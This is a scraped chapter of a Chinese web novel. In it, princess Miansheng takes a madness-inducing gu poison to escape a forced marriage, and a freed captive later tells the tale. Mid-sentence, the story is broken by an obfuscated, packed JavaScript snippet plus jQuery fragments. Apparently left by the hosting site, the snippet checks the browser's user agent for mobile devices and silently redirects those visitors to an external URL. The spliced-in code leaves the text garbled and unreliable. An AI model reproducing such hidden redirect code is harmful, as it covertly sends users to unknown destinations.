默认冷灰
24号文字
方正启体

27. 姜族公主(二)

作者:偏信方寸本书字数:K更新时间:
    姜渊赶至关押那少年的破屋时,他仍双目赤红。


    “我女儿同你说了什么?”


    少年瞥他一眼,眯起眼睛缓缓道:


    “叛徒竟也敢来?”


    “我同宁都有何交情?谈何忠?谈何叛?”


    少年闻言立时就要拎拳击向姜渊,却叫手腕处的锁链困在了原地。


    “如今你只需告诉我,公主到底为何被伤,那蛊虫如何就咬了她?”


    少年轻嗤一声:“你该问问你的主人啊,怎么?当狗被主人敲打一番,不是很正常吗?”


    姜渊极力按捺住胸口的怒火,颤抖着闭上眼:


    “我再给你最后一次机会,若你不答,我即刻便去杀了你那兄弟后回来杀了你,总之我也并不稀罕你这女婿。你猜若我同北洲传信,道是你和我结盟叛国卖友,你们皇帝会如何?”


    “就如你所见那般,你的女儿就是被那蛊虫撕咬,你究竟要知晓何事?怎么,倘若这是意外,你就谅解那害了你女儿的人了?天大的笑话!一族公主,不日便要痴痴傻傻成为疯子,不知族长可期待啊?哈哈哈哈哈哈哈哈哈哈哈哈哈!”


    少年狂笑起来,一声一声直击姜渊心门。


    “父亲,我要嫁给他。”


    这是绵生醒来后说的第一句话。


    其余不论姜渊再如何问,她也不再答了。


    医师说,鬼步蛊已生效。


    人一旦沾上鬼步蛊,便如其名般人形鬼志,如疯如狂,再不会变回常人。


    数年前,鬼步蛊便为妖僧所养,后因在战时从细作口中借此审出机密,这才使鬼步蛊闻名天下。


    皮肉之苦不见得,倒是日夜啃噬心智,直叫人真心裸露,赤裸示人。


    故此时,绵生满心满眼不过心中那人。


    姜渊痛心疾首,想追问个中缘由却始终得不到女儿的回应,不过几个来回,绵生便发起狂来。


    平日睿智鲜妍的女孩此时如地域恶鬼般龇牙咧嘴、厉声尖叫,姜渊只好点穴才不至让她伤人。


    “要如何才能使她好转?”


    “禀族长,中蛊之人心中所想、所念、所信,皆只她被咬之前看到的最后那人,族长不妨将那人唤来,许能奏效。”


    看着面前狞笑的少年,姜渊深深皱起眉头。


    究竟是这人,还是被拖入牢里那人。


    既问不出来,便直接带去试试罢。


    “你若能令我女平安,我便救你还有今日殿上你身旁那少年,如何?”


    宴席已散,夜深人静,少年口中被塞了布条,手上、脚上均戴有锁链,静静跟在姜渊身后。


    二人进屋时,绵生正蜷着身子坐在榻上。


    她双目圆睁,头发凌乱,正喃喃着不知在说些甚么。


    而那被包扎好的伤口显见又渗出血,沾得布条斑斑点点。


    姜渊见状忙上前察看,绵生边尖叫着边拿床头的利刃就掷了来。


    姜渊只得停步闪身。


    绵生叫得撕心裂肺,却在瞧见姜渊身后那人后停了声响。


    只见她的眼睛仍睁得老大,带了几分不可置信的味道。


    “你……你没事吧?”


    女孩从榻上下来,一路小跑至少年跟前,一把就将他口中的布条扯了下来扔出老远。


    少年对上面前女孩焦急的眼,神情中透出嘲讽,皱着眉笑看姜渊。


    姜渊也在看他。


    “别忘了我们的交易。”


    语毕,姜渊转身便朝屋外走去。


    门被关上那一瞬,女孩便拉着少年坐到了榻上。


    少年的手脚仍被束缚着,他只得全神贯注,不叫被偷袭了去。


    “我的诚意,你可见到了?”


    女孩面色仍旧苍白,神情却淡然许多。


    “就为了要个驸马?”


    少年见状,话语中也透出诧异。


    “也许吧。”绵生冲少年笑道,“父亲只我一个女儿,然他与我而言,却不是一位好父亲。”


    少年冷哼一声,并不答话。


    “你猜我一未出阁的女子,为何千里迢迢跟着来玄英国?”


    少年闻言皱起眉,看向女孩的目光中带着几分猜疑。


    绵生缓缓凑到少年耳边,轻轻道:


    “他啊,想把我送给那玄商,想让我来保姜族荣华。”


    “小族公主,当上国后,于你姜族而言的确是一场再好不过的交易。”


    绵生摸摸自己抱着纱布的掌心,嘟着嘴道:


    “可我不想。”


    “那也不必出此下策。”


    少年细细观察绵生的脸色,试图探究她究竟有没有中蛊。


    “我已被诓骗至此,你是我唯一能寻到的突破口。”


    “若我是无耻之徒,受了你的恩又丢弃你呢?”


    “我知道你不会。”绵生抿着唇,“若你会,便不会上我父亲的当,也不会因而被俘了。”


    “鬼步蛊难解,你便这般轻率?”


    绵生将手翻来覆去看了又看,勾唇笑道:


    “甚么绝境都是要靠人搏命才能闯出来的,我受了这蛊,那玄商便不会再想将我强留在玄英了。”


    “在殿上,可是你自己应了要做他女儿的。”


    少年话中满是讥讽。


    “万事又不只有答应和不答应两种说法。姜族势弱,我自不敢拒绝,便卖个好再行诈一局,从那老头身上抽点好处罢了。”


    “怎得,鬼步蛊于你而言竟这般无足轻重?”


    “这十数年我没有一日不在发疯,何惧之有。”


    绵生捏紧了拳头,任凭血液渗透整个手掌。


    “你也要同我作交易?”


    “看来我爹已经同你商量过了?定是说要你照顾我罢?”


    “你只说你要什么便是。”


    “我要永远留在你身边。”


    少年面无表情,并不答应。


    绵生也不恼,只轻轻道:


    “我爹同你说那番话,不过是觉得没了献女表忠心的机会,便一定要留着我来牵制玄商一二。大家都以为这是玄商的疏漏,只你我,哦,还有牢里那人知晓真相。”


    “你若日后又如方才那般发疯,又当如何?”


    “收留一个疯癫之人,难道不比自己疯癫划算?”


    少年闻言垂下头,似在思考的模样。


    “可别想太久,玄英的大牢可不好受。”


    “此话何意?”


    少年声音一紧。


    “玄英刑罚速来尖利,甚么断筋砍手样样都来,况此次玄商还让遗属照看,你不会觉得你那同伴能熬过明日罢?”


    “我可以答应照看你,但不能答应娶你。”


    “成交。”


    玄英大牢内,少年衣衫褴褛、浑身是伤,面前两个大汉正拿着利刃不断朝他已被冻得青紫的手脚刺去。


    少年只发出几声闷哼,扛着一声未喊。


    “宁都先锋,果然硬气。”


    姜渊从外头缓步而来,那正行刑的两人见了他便微微躬身行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364226|166798||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    礼。


    “给他解开。”


    姜渊指指那捆着少年的绳子。


    “国主未下令,属下不能这么做。”


    姜渊拎起一旁刑具内带着倒刺的鞭子,只一鞭便将那二人封了喉,连一声叫喊亦未来得及发出。


    “宁都先锋果然武功高强,便是受了重刑也能将旁人一击毙命。”


    姜渊缓缓放下手中长鞭,神色平和。


    那被绑在柱子上的少年微微睁眼,却未开口说一句话。


    下一瞬,束缚着少年的麻绳便被悉数斩断,他便直直滚落到地上。


    姜渊朝外头一挥手,便进来两个壮汉将地上那气息微弱的少年扶起后架着抬了出去。


    玄英所在极北,外头风雪交加,除了白茫茫的一片,甚么也瞧不清。


    “后来呢?”


    “后来姜族族长给了我们一匹马,我们二人便在风雪中赶路。他原想给我们几件衣服,可牢内士兵已至,我们只好就这样南进。”


    “姜族这般出尔反尔,害了这头又叛了那头,如今倒安安稳稳。”


    “其实谁也没把姜族放在眼里,任谁也不会信左右摇摆的盟友。”


    “可是不摇摆,怎么在乱世存活?谁能料定自己站的那头定赢?”


    纪胧明忽然想起徐初元同自己说的话来。


    他说得对,谁都是可以被牺牲的,绵生亦是如此。


    “那个身负重伤之人是谁?”


    “他伤势过重,又经受了那般严寒,还没到北洲便死在路上了。”


    纪胧明闻言垂下头,鼻子一阵酸涩。


    “所以你觉得你这条命是绵生给的,也是姜渊救的,所以如今才百般退让?”


    “我知道我被俘就是姜族所害,他假意与我部结盟,却在半路设伏围剿我军,可有了后来之事,这般深仇大恨便亦掺了别的。”


    是啊,害了自己的人反手又救了自己,还要怎么全心全意去恨呢。


    “所以你才这般纵容绵生?”


    “我不是纵容她。”祝而今某种似有泪光,“只是我知晓,若没有她,我许和那人一般死在牢中。其实我本该死在那里,而不是像如今这般活着。”


    同生共死的兄弟,一个铁骨铮铮逝去,一个与人交易苟活。


    “绵生究竟是怎样的人?”


    “姜渊自始至终就拿她当成工具罢了,在她少时便将她的母妃送给了玄商,又自小教她魅惑之术,只求能做个好交易。我回到北洲后不久,她便被送了来,浑身都是伤,姜渊说是她自己抓的,可我看未必。”


    祝而今超前走了几步,面上神色复杂。


    纪胧明的脸色亦不好看。


    难怪绵生说自己从小疯魔。的确,有这样的经历,清醒之人难存活。


    后来遇到了祝而今,为了留住他也为保命,只得生生受下鬼步蛊,不成想从此这男人便成了她的执念。


    难怪她行事这般狠辣诡谲。


    “她受鬼步蛊伤害颇重,时常精神恍惚,只有看到我时才能镇静一二。后来雪林节,她在林中失踪许久,再回来时症状便得了极大的好转,她只说自己骤然晕厥,再醒时便觉脑中清明一片。”


    “所以你要履行诺言,一直照顾她?”


    “她同我说,只要留在我身边便好,她不想再被送给别人。这于我来说不是难事,只需在北洲将她安顿好便可。”


    祝而今缓缓转身,一双眸子看向纪胧明。


    “可我没想到皇帝竟会赐婚,来的竟还是你。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)